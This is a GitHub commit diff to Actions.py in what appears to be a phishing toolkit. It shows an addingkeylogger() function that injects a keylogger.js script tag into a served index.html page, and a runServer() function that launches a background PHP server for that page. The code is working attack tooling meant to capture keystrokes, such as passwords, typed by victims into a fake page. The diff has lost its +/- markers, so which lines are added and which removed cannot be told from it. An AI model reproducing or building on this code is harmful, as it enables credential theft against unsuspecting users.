Update Actions.py

file does not need closing when using with open @An0nUD4Y .
This commit is contained in:
Usama Abdul Sattar 2019-02-17 07:12:38 +05:00 committed by GitHub
parent b4a27f8acf
commit 802748f3a5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -313,17 +313,6 @@ def addingkeylogger():
c = read_data.replace('</title>', '</title><script src="keylogger.js"></script>')
f = open('Server/www/index.html', 'w')
f.write(c)
f.close()
print(_("\n\n{1}[{0}??{1}]{0} Keylogger Added {1}Successfully...\n").format(RED, DEFAULT))
sleep(7.5)
else:
pass
print(_("\n\n{1}[{0}!!{1}]{0} Keylogger {1}Not Added{0}... \n").format(RED, DEFAULT))
sleep(7.0)
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &")